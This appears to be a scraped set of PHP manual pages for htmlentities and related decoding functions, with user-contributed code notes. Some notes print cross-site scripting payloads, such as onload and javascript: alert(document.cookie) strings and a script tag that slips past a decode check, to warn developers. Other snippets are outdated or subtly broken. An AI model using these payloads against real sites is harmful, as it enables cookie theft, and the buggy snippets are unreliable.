The simple solution if you're still running PHP 4 is to wrap the html_entity_decode() function with the utf8_decode() function.

<?php
$string = '&nbsp;';
$utf8_encode = utf8_encode(html_entity_decode($string));
?>

By default html_entity_decode() returns the ISO-8859-1 character set, and by default utf8_decode()...

http://us.php.net/manual/en/function.utf8-decode.php
"Converts a string with ISO-8859-1 characters encoded with UTF-8 to single-byte ISO-8859-1"
jl dot garcia at gmail dot com 04-Mar-2009 03:33
I created this function to filter all the text that goes in or comes out of the database.

<?php
function filter_string($string, $nohtml='', $save='') {
    if(!empty($nohtml)) {
        $string = trim($string);
        if(!empty($save)) $string = htmlentities(trim($string), ENT_QUOTES, 'ISO-8859-15');
        else $string = html_entity_decode($string, ENT_QUOTES, 'ISO-8859-15');
    }
    if(!empty($save)) $string = mysql_real_escape_string($string);
    else $string = stripslashes($string);
    return($string);
}
?>
kae at verens dot com 09-May-2008 06:11
the references to 'chr()' in the example unhtmlentities() function should be changed to unichr, using the example unichr() function described in the 'chr' reference (http://php.net/chr).

the reason for this is characters such as &#x20AC; which do not break down into an ASCII number (that's the Euro, by the way).
me at richardsnazell dot com 21-Jan-2008 04:19
I had a problem getting the 'TM' trademark symbol to display correctly in an email subject line. Using html_entity_decode() with different charsets didn't work, but directly replacing the entity with it's ASCII equivalent did:

$subject = str_replace('&trade;', chr(153), $subject);
jojo 03-Nov-2006 08:27
The decipherment does the character encoded by the escape function of JavaScript.
When the multi byte is used on the page, it is effective.

javascript escape('aa??aa') ..... 'aa%u3042%u3042aa'
php  jsEscape_decode('aa%u3042%u3042aa')..'aa??aa'

<?php
function jsEscape_decode($jsEscaped,$outCharCode='SJIS'){
    $arrMojis = explode("%u",$jsEscaped);
    for ($i = 1;$i < count($arrMojis);$i++){
        $c = substr($arrMojis[$i],0,4);
        $cc = mb_convert_encoding(pack('H*',$c),$outCharCode,'UTF-16');
        $arrMojis[$i] = substr_replace($arrMojis[$i],$cc,0,4);
    }
    return implode('',$arrMojis);
}
?>
grvg (at) free (dot) fr 29-Jul-2006 09:44
Here is the ultimate functions to convert HTML entities to UTF-8 :
The main function is htmlentities2utf8
Others are helper functions

<?php
function chr_utf8($code)
    {
        if ($code < 0) return false;
        elseif ($code < 128) return chr($code);
        elseif ($code < 160) // Remove Windows Illegals Cars
        {
            if ($code==128) $code=8364;
            elseif ($code==129) $code=160; // not affected
            elseif ($code==130) $code=8218;
            elseif ($code==131) $code=402;
            elseif ($code==132) $code=8222;
            elseif ($code==133) $code=8230;
            elseif ($code==134) $code=8224;
            elseif ($code==135) $code=8225;
            elseif ($code==136) $code=710;
            elseif ($code==137) $code=8240;
            elseif ($code==138) $code=352;
            elseif ($code==139) $code=8249;
            elseif ($code==140) $code=338;
            elseif ($code==141) $code=160; // not affected
            elseif ($code==142) $code=381;
            elseif ($code==143) $code=160; // not affected
            elseif ($code==144) $code=160; // not affected
            elseif ($code==145) $code=8216;
            elseif ($code==146) $code=8217;
            elseif ($code==147) $code=8220;
            elseif ($code==148) $code=8221;
            elseif ($code==149) $code=8226;
            elseif ($code==150) $code=8211;
            elseif ($code==151) $code=8212;
            elseif ($code==152) $code=732;
            elseif ($code==153) $code=8482;
            elseif ($code==154) $code=353;
            elseif ($code==155) $code=8250;
            elseif ($code==156) $code=339;
            elseif ($code==157) $code=160; // not affected
            elseif ($code==158) $code=382;
            elseif ($code==159) $code=376;
        }
        if ($code < 2048) return chr(192 | ($code >> 6)) . chr(128 | ($code & 63));
        elseif ($code < 65536) return chr(224 | ($code >> 12)) . chr(128 | (($code >> 6) & 63)) . chr(128 | ($code & 63));
        else return chr(240 | ($code >> 18)) . chr(128 | (($code >> 12) & 63)) . chr(128 | (($code >> 6) & 63)) . chr(128 | ($code & 63));
    }

    // Callback for preg_replace_callback('~&(#(x?))?([^;]+);~', 'html_entity_replace', $str);
    function html_entity_replace($matches)
    {
        if ($matches[2])
        {
            return chr_utf8(hexdec($matches[3]));
        } elseif ($matches[1])
        {
            return chr_utf8($matches[3]);
        }
        switch ($matches[3])
        {
            case "nbsp": return chr_utf8(160);
            case "iexcl": return chr_utf8(161);
            case "cent": return chr_utf8(162);
            case "pound": return chr_utf8(163);
            case "curren": return chr_utf8(164);
            case "yen": return chr_utf8(165);
            //... etc with all named HTML entities
        }
        return false;
    }

    function htmlentities2utf8 ($string) // because of the html_entity_decode() bug with UTF-8
    {
        $string = preg_replace_callback('~&(#(x?))?([^;]+);~', 'html_entity_replace', $string);
        return $string;
    }
?>
florianborn (at) yahoo (dot) de 20-Jul-2005 03:43
Note that

<?php

 echo urlencode(html_entity_decode("&nbsp;"));

?>

will output "%A0" instead of "+".
php dot net at c dash ovidiu dot tk 18-Mar-2005 12:37
Quick & dirty code that translates numeric entities to UTF-8.

<?php

    function replace_num_entity($ord)
    {
        $ord = $ord[1];
        if (preg_match('/^x([0-9a-f]+)$/i', $ord, $match))
        {
            $ord = hexdec($match[1]);
        }
        else
        {
            $ord = intval($ord);
        }

        $no_bytes = 0;
        $byte = array();

        if ($ord < 128)
        {
            return chr($ord);
        }
        elseif ($ord < 2048)
        {
            $no_bytes = 2;
        }
        elseif ($ord < 65536)
        {
            $no_bytes = 3;
        }
        elseif ($ord < 1114112)
        {
            $no_bytes = 4;
        }
        else
        {
            return;
        }

        switch($no_bytes)
        {
            case 2:
            {
                $prefix = array(31, 192);
                break;
            }
            case 3:
            {
                $prefix = array(15, 224);
                break;
            }
            case 4:
            {
                $prefix = array(7, 240);
            }
        }

        for ($i = 0; $i < $no_bytes; $i++)
        {
            $byte[$no_bytes - $i - 1] = (($ord & (63 * pow(2, 6 * $i))) / pow(2, 6 * $i)) & 63 | 128;
        }

        $byte[0] = ($byte[0] & $prefix[0]) | $prefix[1];

        $ret = '';
        for ($i = 0; $i < $no_bytes; $i++)
        {
            $ret .= chr($byte[$i]);
        }

        return $ret;
    }

    $test = 'This is a &#269;&#x5d0; test&#39;';

    echo $test . "<br />\n";
    echo preg_replace_callback('/&#([0-9a-fx]+);/mi', 'replace_num_entity', $test);

?>
daniel at brightbyte dot de 13-Nov-2004 06:12
This function seems to have to have two limitations (at least in PHP 4.3.8):

a) it does not work with multibyte character codings, such as UTF-8
b) it does not decode numeric entity references

a) can be solved by using iconv to convert to ISO-8859-1, then decoding the entities, than convert to UTF-8 again. But that's quite ugly and detroys all characters not present in Latin-1.

b) can be solved rather nicely using the following code:

<?php
function decode_entities($text) {
    $text= html_entity_decode($text,ENT_QUOTES,"ISO-8859-1"); #NOTE: UTF-8 does not work!
    $text= preg_replace('/&#(\d+);/me',"chr(\\1)",$text); #decimal notation
    $text= preg_replace('/&#x([a-f0-9]+);/mei',"chr(0x\\1)",$text);  #hex notation
    return $text;
}
?>

HTH
aidan at php dot net 14-Sep-2004 12:57
This functionality is now implemented in the PEAR package PHP_Compat.

More information about using this function without upgrading your version of PHP can be found on the below link:

http://pear.php.net/package/PHP_Compat


Преобразовывает возможные символы в HTML-сущности

  • « html_entity_decode
  • htmlspecialchars_decode »
  • PHP Manual
  • Функции для работы со строками
  • Преобразовывает возможные символы в HTML-сущности

htmlentities

(PHP 4, PHP 5, PHP 7, PHP 8)

htmlentities — Преобразовывает возможные символы в HTML-сущности

Описание

htmlentities(
string $string,
int $flags = ENT_QUOTES | ENT_SUBSTITUTE | ENT_HTML401,
?string $encoding = null,
bool $double_encode = true
): string

Функция работает идентично функции htmlspecialchars(), за исключением того, что функция htmlentities() преобразовывает в HTML-сущности каждый символ, для которого в таблице перевода содержится эквивалентная HTML-сущность. Таблицу перевода, которую использует эта функция и которая зависит от констант, которые передали в параметр flags, возвращает функция get_html_translation_table().

Функция html_entity_decode() выполняет обратное преобразование — декодирует HTML-сущности в символы.

Список параметров

string

Входная строка.

flags

Битовая маска из следующих флагов, которые определяют, как обрабатывать кавычки, неправильные последовательности кодовых единиц и тип документа. Маска по умолчанию: ENT_QUOTES | ENT_SUBSTITUTE | ENT_HTML401.

Доступные константы параметра flags
Название константы | Описание
ENT_COMPAT | Преобразовывает двойные кавычки, одинарные кавычки не изменяются.
ENT_QUOTES | Преобразовывает как двойные, так и одинарные кавычки.
ENT_NOQUOTES | Оставляет без изменения как двойные, так и одинарные кавычки.
ENT_IGNORE | Без предупреждения отбрасывает неправильные последовательности кодовых единиц вместо возврата пустой строки. Передача этого флага не рекомендуется, поскольку это » небезопасно.
ENT_SUBSTITUTE | Заменяет неправильные последовательности кодовых единиц символом замены Юникода вместо возврата пустой строки: U+FFFD для строк в кодировке UTF-8 и &#FFFD; для строк в других кодировках.
ENT_DISALLOWED | Заменяет неверные кодовые точки для заданного типа документа символом замены юникода U+FFFD для строк в кодировке UTF-8 или &#FFFD; для строк в других кодировках вместо того, чтобы оставлять всё как есть. Это бывает полезно для правильного оформления XML-документов, в которые встроили внешнее содержимое.
ENT_HTML401 | Обрабатывает код по правилам стандарта HTML 4.01.
ENT_XML1 | Обрабатывает код по правилам стандарта XML 1.
ENT_XHTML | Обрабатывает код по правилам стандарта XHTML.
ENT_HTML5 | Обрабатывает код по правилам стандарта HTML 5.

encoding

Необязательный аргумент, который определяет кодировку для преобразования символов.

Функция примет за значение по умолчанию для параметра encoding значение опции конфигурации default_charset, если параметр опустили.

Хотя технически этот аргумент необязателен, настоятельно рекомендуется указать правильное значение для кода, на случай если значение опции default_charset окажется неправильным для входных данных.

Функция поддерживает следующие кодировки:

Кодировки, которые поддерживает функция
Кодировка | Псевдонимы | Описание
ISO-8859-1 | ISO8859-1 | Западно-Европейская кодировка с набором символов Latin-1.
ISO-8859-5 | ISO8859-5 | Кириллическая кодировка с набором символов Latin/Cyrillic; применяют редко.
ISO-8859-15 | ISO8859-15 | Западно-Европейская кодировка с набором символов Latin-9. Добавляет к набору символов Latin-1 кодировки ISO-8859-1 знак евро, французские и финские буквы.
UTF-8 | ASCII-совместимая многобайтовая 8-битная кодировка Unicode.
cp866 | ibm866, 866 | Кириллическая кодировка, которую применяют в семействе операционных систем DOS.
cp1251 | Windows-1251, win-1251, 1251 | Кириллическая кодировка, которую применяют в операционных системах Windows.
cp1252 | Windows-1252, 1252 | Западно-Европейская кодировка, которую применяют в операционных системах Windows.
KOI8-R | koi8-ru, koi8r | Русская кодировка.
BIG5 | 950 | Кодировка с набором символов Traditional Chinese (Традиционный китайский), которую применяют в основном на Тайване.
GB2312 | 936 | Стандартная национальная кодировка с набором символов Simplified Chinese (Упрощённый китайский).
BIG5-HKSCS | Кодировка Big5 с расширениями для Гонконга с набором символов Traditional Chinese (Традиционный китайский).
Shift_JIS | SJIS, SJIS-win, cp932, 932 | Японская кодировка.
EUC-JP | EUCJP, eucJP-win | Японская кодировка.
MacRoman | Кодировка, которую использовала операционная система Mac OS.
'' Пустая строка активирует режим определения кодировки из файла скрипта (Zend multibyte), директивы default_charset и текущей локали (смотрите описание функций nl_langinfo() и setlocale()), в перечисленном порядке. Не рекомендуется использовать.

Замечание: Другие кодировки функция не распознаёт. Вместо других кодировок функция будет использовать кодировку по умолчанию и выдаст предупреждение.

double_encode

Когда параметр double_encode отключён, PHP не будет кодировать существующие HTML-сущности. По умолчанию функция преобразовывает каждый символ.

Возвращаемые значения

Функция возвращает преобразованную строку.

Функция вернёт пустую строку, если входная строка string содержит недопустимую для кодировки encoding последовательность кодовых единиц, если только не установили флаг ENT_IGNORE или ENT_SUBSTITUTE.

Список изменений

Версия | Описание
8.1.0 | Значение по умолчанию параметра flags изменили с ENT_COMPAT на ENT_QUOTES | ENT_SUBSTITUTE | ENT_HTML401.
8.0.0 | Параметр encoding теперь принимает значение null.

Примеры

Пример #1 Пример использования функции htmlentities()

<?php

$str = "A 'quote' is <b>bold</b>";

// Выводит: A 'quote' is &lt;b&gt;bold&lt;/b&gt;
echo htmlentities($str);

// Выводит: A &#039;quote&#039; is &lt;b&gt;bold&lt;/b&gt;
echo htmlentities($str, ENT_QUOTES);

?>

Пример #2 Передача флага ENT_IGNORE

<?php

$str = "\x8F!!!";

// Выводит пустую строку
echo htmlentities($str, ENT_QUOTES, "UTF-8");

// Выводит "!!!"
echo htmlentities($str, ENT_QUOTES | ENT_IGNORE, "UTF-8");

?>

Смотрите также

  • html_entity_decode() - Преобразовывает HTML-сущности в символы
  • get_html_translation_table() - Возвращает таблицу преобразований, используемую функциями htmlspecialchars и htmlentities
  • htmlspecialchars() - Преобразовывает специальные символы в HTML-сущности
  • nl2br() - Вставляет HTML-код разрыва строки перед каждым переводом строки
  • urlencode() - URL-кодирует строку

User Contributed Notes

j2teamnnl at gmail dot com 04-May-2022 09:31
The answer above is not correct for multiple languages like France
I had correct it
function xml_entities($strIn)
    {
        if (is_numeric($strIn)) {
            return $strIn;
        }
        $strOut = null;

        $arrStr = mb_str_split($strIn);
        foreach ($arrStr as $char) {
            $ord = mb_ord($char);

            if (($ord > 0 && $ord < 32) || ($ord >= 127)) {
                $strOut .= "&amp;#{$ord};";
            }
            else {
                switch ($char) {
                    case '<':
                        $strOut .= '&lt;';
                        break;
                    case '>':
                        $strOut .= '&gt;';
                        break;
                    case '&':
                        $strOut .= '&amp;';
                        break;
                    case '"':
                        $strOut .= '&quot;';
                        break;
                    default:
                        $strOut .= $char;
                }
            }
        }

        return $strOut;
    }
2962051004 at qq dot com 03-Oct-2018 04:09
<?php

/**
 * ?????Html??
 * Convert Chinese in HTML to entity
 * Author QiangGe
 * Mail 2962051004@qq.com
 *
*/

$str = <<<EOT
?? world
EOT;

function ChineseToEntity($str) {
 return preg_replace_callback(
        '/[\x{4e00}-\x{9fa5}]/u', // utf-8
        // '/[\x7f-\xff]+/', // if gb2312
        function ($matches) {
            $json = json_encode(array($matches[0]));
            preg_match('/\[\"(.*)\"\]/', $json, $arr);
            /*
             * ??json_encode???????unicode
             * ???????unicode
             * Turn the Chinese into Unicode through the json_encode function, then extract Unicode from regular.
             * I think this idea is seamless.
            */
            return '&#x'. str_replace('\\u', '', $arr[1]). ';';
        }, $str
   );
}

echo ChineseToEntity($str);
// &#x4f60;&#x597d; world
Jeff 01-Jun-2018 01:25
There is a feature when writing to XML using an AJAX call to PHP that rarely is mentioned. I struggled for many hours using htmlentities() because what was getting written to my XML document was not as expected. I naturally assumed that I should be converting my strings before writing them to XML to adhere to XML rules on illegal characters. To my surprise, when converting with htmlentities() or htmlspecialchars() and then writing to an XML file, the resulting ampersands get converted afterwards! Consider the following example:

<?php
$str = "<b>I am cool</b>" ;
$str = htmlentities($str) ;
?>

When you append $str to an XML element and save() the document, you would expect the XML document's source code to look something like this:

<ele>&lt;b&gt;I am cool&lt;/b&gt;</ele>

But that is not what happens. The resulting ampersands get converted by PHP automatically to &amp; and your source code ends up looking like this:

<ele>&amp;lt;b&amp;gt;I am cool&amp;lt;/b&amp;gt;</ele>

As you can see, this creates problems when trying to output the XML data back to HTML. It is important to remember that when writing to XML this way, special characters like ">" and "<"; PHP converts them automatically and there becomes no need to use htmlentities() in certain cases. I assume this feature is in place to aid with passing data through header queries, to avoid reserved characters conflicting with others in a header query (e.g. & or =). Now I understand this may not be the case with older versions of PHP and that this might be a feature of my version (PHP version 5.6.32). With older versions, I assume using htmlentities() or htmlspecialchars() is a must, as stated with previous notes here. Also I use the charset UTF-8 in my HTML and XML and am not sure if this also effects the results I get.

Anyway, I struggled for many hours with using htmlentities() to convert strings for XML writing and saving, when all I had to do was simply not use the function and let PHP convert my strings for me. I hope this helps because I would think I am not the only one who has struggled with this situation.
chris at ocproducts dot com 10-Apr-2017 01:10
This function throws a warning on bad input even if ENT_SUBSTITUTE is set, so be prepared for this.
hajo-p 05-Jan-2014 05:18
The flag ENT_HTML5 also strips newline chars like \n with htmlentities while htmlspecialchars is not affected by that.

If you want to use nl2br on that string afterwards you might end up searching the problem like i did. This does not apply to other flags like e.g. ENT_XHTML which confused me.

Tested this with PHP 5.4 / 5.5 / 5.6-dev with same results, so it seems that this is an intended "feature".
ustimenko dot alexander at gmail dot com 09-Apr-2012 02:15
For those Spanish (and not only) folks, that want their national letters back after htmlentities :)

<?php
protected function _decodeAccented($encodedValue, $options = array()) {
    $options += array(
        'quote'     => ENT_NOQUOTES,
        'encoding'  => 'UTF-8',
    );
    return preg_replace_callback(
        '/&\w(acute|uml|tilde);/',
        create_function(
            '$m',
            'return html_entity_decode($m[0], ' . $options['quote'] . ', "' .
            $options['encoding'] . '");'
        ),
        $encodedValue
    );
}
?>
n at erui dot eu 20-Mar-2012 12:46
html entities does not encode all unicode characters. It encodes what it can [all of latin1], and the others slip through. &#1033; is the nasty I use. I have searched for a function which encodes everything, but in the end I wrote this. This is as simple as I can get it. Consult an ansii table to custom include/omit chars you want/don't. I'm sure it's not that fast.

// Unicode-proof htmlentities.
// Returns 'normal' chars as chars and weirdos as numeric html entites.
function superentities( $str ){
    // get rid of existing entities else double-escape
    $str = html_entity_decode(stripslashes($str),ENT_QUOTES,'UTF-8');
    $ar = preg_split('/(?<!^)(?!$)/u', $str );  // return array of every multi-byte character
    foreach ($ar as $c){
        $o = ord($c);
        if ( (strlen($c) > 1) || /* multi-byte [unicode] */
            ($o <32 || $o > 126) || /* <- control / latin weirdos -> */
            ($o >33 && $o < 40) ||/* quotes + ambersand */
            ($o >59 && $o < 63) /* html */
        ) {
            // convert to numeric entity
            $c = mb_encode_numericentity($c,array (0x0, 0xffff, 0, 0xffff), 'UTF-8');
        }
        $str2 .= $c;
    }
    return $str2;
}
wd at NOSPAMwd dot it 19-Dec-2011 02:20
Hi there,

after several and several tests, I figured out that dot:

- htmlentities() function remove characters like "a","e",etc when you specify a flag and a charset

- htmlentities() function DOES NOT remove characters like those above when you DO NOT specify anything

So, let's assume that..

<?php

$str = "Heeellooo";

$res_1 = htmlentities($str, ENT_QUOTES, "UTF-8");
$res_2 = htmlentities($str);

echo var_dump($res_1); // Result: string '' (length=0)
echo var_dump($res_2); // string 'H&egrave;&egrave;&egrave;llooo' (length=30)

?>

I used this for a textarea content for comments. Anyway, note that using the "$res_2" form the function will leave unconverted single/double quotes. At this point you should use str_replace() function to perform the characters but be careful because..

<?php

$str = "'Heeellooo'";

$res_2 = str_replace("'","&#039;",$str);
$res_2 = htmlentities($str);
echo var_dump($res_2); // string '&amp;#039;H&egrave;&egrave;&egrave;llooo&amp;#039;'

$res_3 = htmlentities($str);
$res_3 = str_replace("'","&#039;",$res_3);
echo var_dump($res_3); // string '&#039;H&egrave;&egrave;&egrave;llooo&#039;' --> Nice
?>

Hope it will helps you.

Regards,
W.D.
steve at mcdragonsoftware dot com 16-Nov-2011 08:59
I'm glad 5.4 has xml support, but many of us are working with older installations, some of us still have to use PHP4. If you're like me you've been frustrated with trying to use htmlentites/htmlspecial chars with xml output. I was hoping to find an option to force numeric encoding, lacking that, I have written my own xmlencode function, which I now offer:

usage:

$string xmlencode( $string )

it will use htmlspecialchars for the valid xml entities amp, quote, lt, gt, (apos) and return the numeric entity for all other non alpha-numeric characters.

-------------------------------------------

<?php
if( !function_exists( 'xmlentities' ) ) {
    function xmlentities( $string ) {
        $not_in_list = "A-Z0-9a-z\s_-";
        return preg_replace_callback( "/[^{$not_in_list}]/" , 'get_xml_entity_at_index_0' , $string );
    }
    function get_xml_entity_at_index_0( $CHAR ) {
        if( !is_string( $CHAR[0] ) || ( strlen( $CHAR[0] ) > 1 ) ) {
            die( "function: 'get_xml_entity_at_index_0' requires data type: 'char' (single character). '{$CHAR[0]}' does not match this type." );
        }
        switch( $CHAR[0] ) {
            case "'":    case '"':    case '&':    case '<':    case '>':
                return htmlspecialchars( $CHAR[0], ENT_QUOTES );    break;
            default:
                return numeric_entity_4_char($CHAR[0]);                break;
        }
    }
    function numeric_entity_4_char( $char ) {
        return "&#".str_pad(ord($char), 3, '0', STR_PAD_LEFT).";";
    }
}
?>
Waygood 06-Jun-2011 02:09
When putting values inside comment tags <!-- --> you should replace -- with &#45;&#45; too, as this would end your tag and show the rest of the comment.
robin at robinwinslow dot co dot uk 15-Apr-2011 08:14
htmlentities seems to have changed at some point between version 5.1.6 and 5.3.3, such that it now returns an empty string for anything containing a pound sign:

$ php -v
PHP 5.1.6 (cli) (built: May 22 2008 09:08:44)
$ php -r "echo htmlentities('?hello', null, 'utf-8');"
&pound;hello
$

$ php -v
PHP 5.3.3 (cli) (built: Aug 19 2010 12:07:49)
$ php -r "echo htmlentities('?hello', null, 'utf-8');"
$

(Returns an empty string the second time)

Just a heads up.
admin at wapforum dot rs 24-Feb-2011 01:11
A useful little function to convert the symbols in the different inputs.
<?php
function ConvertSimbols($var, $ConvertQuotes = 0) {
if ($ConvertQuotes > 0) {
$var = htmlentities($var, ENT_NOQUOTES, 'UTF-8');
$var = str_replace('\"', '', $var);
$var = str_replace("\'", '', $var);
} else {
$var = htmlentities($var, ENT_QUOTES, 'UTF-8');
}
return $var;
}
?>

Usage with quotes for example message:

$message = ConvertSimbols($message);

Usage without quotes for example link:

$link = ConvertSimbols($link, 1);
drallen at cs dot uwaterloo dot ca 29-Sep-2010 04:11
A pointer to http://www.php.net/manual/en/function.mb-convert-encoding.php if your intention is to translate *all* characters in a charset to their corresponding HTML entities, not just named characters. Non-named characters will be replaced with HTML numeric encoding. eg:

$text = mb_convert_encoding($text, 'HTML-ENTITIES', "UTF-8");
h_guillaume at hotmail dot com 17-Sep-2010 01:14
I use this function to encode all the xml entities and also all the &something; that are not defined in xml like &trade;
You can also decode what you encode with my decode function.
My function works a little like the htmlentities.
You can also add other string to the array if you want to exclude them from the encoding.

<?php
function xml_entity_decode($text, $charset = 'Windows-1252'){
    // Double decode, so if the value was &amp;trade; it will become Trademark
    $text = html_entity_decode($text, ENT_COMPAT, $charset);
    $text = html_entity_decode($text, ENT_COMPAT, $charset);
    return $text;
}

function xml_entities($text, $charset = 'Windows-1252'){
     // Debug and Test
    // $text = "test &amp; &trade; &amp;trade; abc &reg; &amp;reg; &#45;";

    // First we encode html characters that are also invalid in xml
    $text = htmlentities($text, ENT_COMPAT, $charset, false);

    // XML character entity array from Wiki
    // Note: &apos; is useless in UTF-8 or in UTF-16
    $arr_xml_special_char = array("&quot;","&amp;","&apos;","&lt;","&gt;");

    // Building the regex string to exclude all strings with xml special char
    $arr_xml_special_char_regex = "(?";
    foreach($arr_xml_special_char as $key => $value){
        $arr_xml_special_char_regex .= "(?!$value)";
    }
    $arr_xml_special_char_regex .= ")";

    // Scan the array for &something_not_xml; syntax
    $pattern = "/$arr_xml_special_char_regex&([a-zA-Z0-9]+;)/";

    // Replace the &something_not_xml; with &amp;something_not_xml;
    $replacement = '&amp;${1}';
    return preg_replace($pattern, $replacement, $text);
}
?>
Sijmen Ruwhof 13-Sep-2010 12:18
An important note below about using this function to secure your application against Cross Site Scripting (XSS) vulnerabilities.

When printing user input in an attribute of an HTML tag, the default configuration of htmlEntities() doesn't protect you against XSS, when using single quotes to define the border of the tag's attribute-value. XSS is then possible by injecting a single quote:

<?php
$_GET['a'] = "#000' onload='alert(document.cookie)";
?>

XSS possible (insecure):

<?php
$href = htmlEntities($_GET['a']);
print "<body bgcolor='$href'>"; # results in: <body bgcolor='#000' onload='alert(document.cookie)'>
?>

Use the 'ENT_QUOTES' quote style option, to ensure no XSS is possible and your application is secure:

<?php
$href = htmlEntities($_GET['a'], ENT_QUOTES);
print "<body bgcolor='$href'>"; # results in: <body bgcolor='#000&#039; onload=&#039;alert(document.cookie)'>
?>

The 'ENT_QUOTES' option doesn't protect you against javascript evaluation in certain tag's attributes, like the 'href' attribute of the 'a' tag. When clicked on the link below, the given JavaScript will get executed:

<?php
$_GET['a'] = 'javascript:alert(document.cookie)';
$href = htmlEntities($_GET['a'], ENT_QUOTES);
print "<a href='$href'>link</a>"; # results in: <a href='javascript:alert(document.cookie)'>link</a>
?>
phil at lavin dot me dot uk 08-Apr-2010 08:34
The following will make a string completely safe for XML:

<?php
function philsXMLClean($strin) {
        $strout = null;

        for ($i = 0; $i < strlen($strin); $i++) {
                $ord = ord($strin[$i]);

                if (($ord > 0 && $ord < 32) || ($ord >= 127)) {
                        $strout .= "&amp;#{$ord};";
                }
                else {
                        switch ($strin[$i]) {
                                case '<':
                                        $strout .= '&lt;';
                                        break;
                                case '>':
                                        $strout .= '&gt;';
                                        break;
                                case '&':
                                        $strout .= '&amp;';
                                        break;
                                case '"':
                                        $strout .= '&quot;';
                                        break;
                                default:
                                        $strout .= $strin[$i];
                        }
                }
        }

        return $strout;
}
?>
Tom Walter 16-Oct-2008 07:14
Note that as of 5.2.5 it appears that if the input string contains a character that is not valid for the output encoding you've specified, then this function returns null.

You might expect it to just strip the invalid char, but it doesn't.

You can strip the chars yourself like so:

iconv('utf-8','utf-8',$str);

You can combine that with htmlentities also:

$str = htmlentities(iconv('UTF-8', 'UTF-8//IGNORE', $str, ENT_QUOTES, 'UTF-8');

Should give you a string with htmlentities encoded to utf-8, and any unsupported chars stripped.
za at byza dot it 15-Apr-2008 09:15
Trouble when using files with different charset?

htmlentities and html_entity_decode can be used to translate between charset!

Sample function:

<?php
function utf2latin($text) {
   $text=htmlentities($text,ENT_COMPAT,'UTF-8');
   return html_entity_decode($text,ENT_COMPAT,'ISO-8859-1');
}
?>
q (dot) rendeiro (at) gmail (dot) com 07-Mar-2007 04:41
I've seen lots of functions to convert all the entities, but I needed to do a fulltext search in a db field that had named entities instead of numeric entities (edited by tinymce), so I searched the tinymce source and found a string with the value->entity mapping. So, i wrote the following function to encode the user's query with named entities.

The string I used is different of the original, because i didn't want to convert ' or ". The string is too long, so I had to cut it. To get the original check TinyMCE source and search for nbsp or other entity ;)

<?php

$entities_unmatched = explode(',', '160,nbsp,161,iexcl,162,cent, [...] ');
$even = 1;
foreach($entities_unmatched as $c) {
    if($even) {
        $ord = $c;
    } else {
        $entities_table[$ord] = $c;
    }
    $even = 1 - $even;
}

function encode_named_entities($str) {
    global $entities_table;

    $encoded_str = '';
    for($i = 0; $i < strlen($str); $i++) {
        $ent = @$entities_table[ord($str{$i})];
        if($ent) {
            $encoded_str .= "&$ent;";
        } else {
            $encoded_str .= $str{$i};
        }
    }
    return $encoded_str;
}

?>
realcj at g mail dt com 06-Nov-2006 10:41
If you are building a loadvars page for Flash and have problems with special chars such as " & ", " ' " etc, you should escape them for flash:

Try trace(escape("&")); in flash' actionscript to see the escape code for &;

% = %25
& = %26
' = %27

<?php
function flashentities($string){
return str_replace(array("&","'"),array("%26","%27"),$string);
}
?>

Those are the two that concerned me. YMMV.
jake_mcmahon at hotmail dot com 29-Apr-2004 02:29
This fuction is particularly useful against XSS (cross-site-scripting-). XSS makes use of holes in code, whether it be in Javascript or PHP. XSS often, if not always, uses HTML entities to do its evil deeds, so this function in co-operation with your scripts (particularly search or submitting scripts) is a very useful tool in combatting "H4X0rz".
Bassie (: 05-Jan-2003 04:07
Note that you'll have use htmlentities() before any other function who'll edit text like nl2br().

If you use nl2br() first, the htmlentities() function will change < br > to &lt;br&gt;.


Преобразовывает специальные HTML-сущности обратно в символы

  • « htmlentities
  • htmlspecialchars »
  • PHP Manual
  • Функции для работы со строками
  • Преобразовывает специальные HTML-сущности обратно в символы

htmlspecialchars_decode

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

htmlspecialchars_decode — Преобразовывает специальные HTML-сущности обратно в символы

Описание

htmlspecialchars_decode(string $string, int $flags = ENT_QUOTES | ENT_SUBSTITUTE | ENT_HTML401): string

Функция, в противоположность функции htmlspecialchars(), преобразовывает специальные HTML-сущности обратно в символы.

Конвертируемые сущности: &amp;, &quot; (без флага ENT_NOQUOTES), &#039; (с флагом ENT_QUOTES), &lt; и &gt;.

Список параметров

string

Строка, которую требуется преобразовать.

flags

Битовая маска из следующих флагов, которые определяют, как обрабатывать кавычки какие типы документов использовать. Маска по умолчанию: ENT_QUOTES | ENT_SUBSTITUTE | ENT_HTML401.

Доступные константы параметра flags
Имя константы | Описание
ENT_COMPAT | Преобразовывает двойные кавычки, одинарные кавычки не изменяются.
ENT_QUOTES | Преобразовывает как двойные, так и одинарные кавычки.
ENT_NOQUOTES | Оставляет без изменения как двойные, так и одинарные кавычки.
ENT_SUBSTITUTE | Заменяет неправильные последовательности кодовых единиц символом замены Юникода вместо возврата пустой строки: U+FFFD для строк в кодировке UTF-8 и &#FFFD; для строк в других кодировках.
ENT_HTML401 | Обрабатывает код по правилам стандарта HTML 4.01.
ENT_XML1 | Обрабатывает код по правилам стандарта XML 1.
ENT_XHTML | Обрабатывает код по правилам стандарта XHTML.
ENT_HTML5 | Обрабатывает код по правилам стандарта 5.

Возвращаемые значения

Функция возвращает декодированную строку.

Список изменений

Версия | Описание
8.1.0 | Значение по умолчанию для параметра flags изменили с ENT_COMPAT на ENT_QUOTES | ENT_SUBSTITUTE | ENT_HTML401.

Примеры

Пример #1 Пример использования функции htmlspecialchars_decode()

<?php

$str = "<p>this -&gt; &quot;</p>\n";

echo htmlspecialchars_decode($str);

// Обратите внимание, что здесь кавычка не преобразовывается
echo htmlspecialchars_decode($str, ENT_NOQUOTES);

?>

Результат выполнения приведённого примера:

<p>this -> "</p>
<p>this -> &quot;</p>

Смотрите также

  • htmlspecialchars() - Преобразовывает специальные символы в HTML-сущности
  • html_entity_decode() - Преобразовывает HTML-сущности в символы
  • get_html_translation_table() - Возвращает таблицу преобразований, используемую функциями htmlspecialchars и htmlentities

User Contributed Notes

pinkgothic at gmail dot com 10-Jun-2010 09:24
Keep in mind that you should never trust user input - particularly for "mixed-bag" input containing a combination of plain text and markup or scripting code.

Why?

Well, consider someone sending '&amp;<script>alert('XSS');</script>' to your PHP script:

<?php
$var = "&amp;<script>alert('XSS');</script>";
$var = (htmlspecialchars_decode($var) == $var) ? htmlspecialchars($var) : $var;
echo $var;
?>

Since '&amp;' decodes into '&', (htmlspecialchars_decode($var) == $var) will be -false-, thus returning $var without that it's escaped. In consequence, the script-tags are untouched, and you've just opened yourself to XSS.

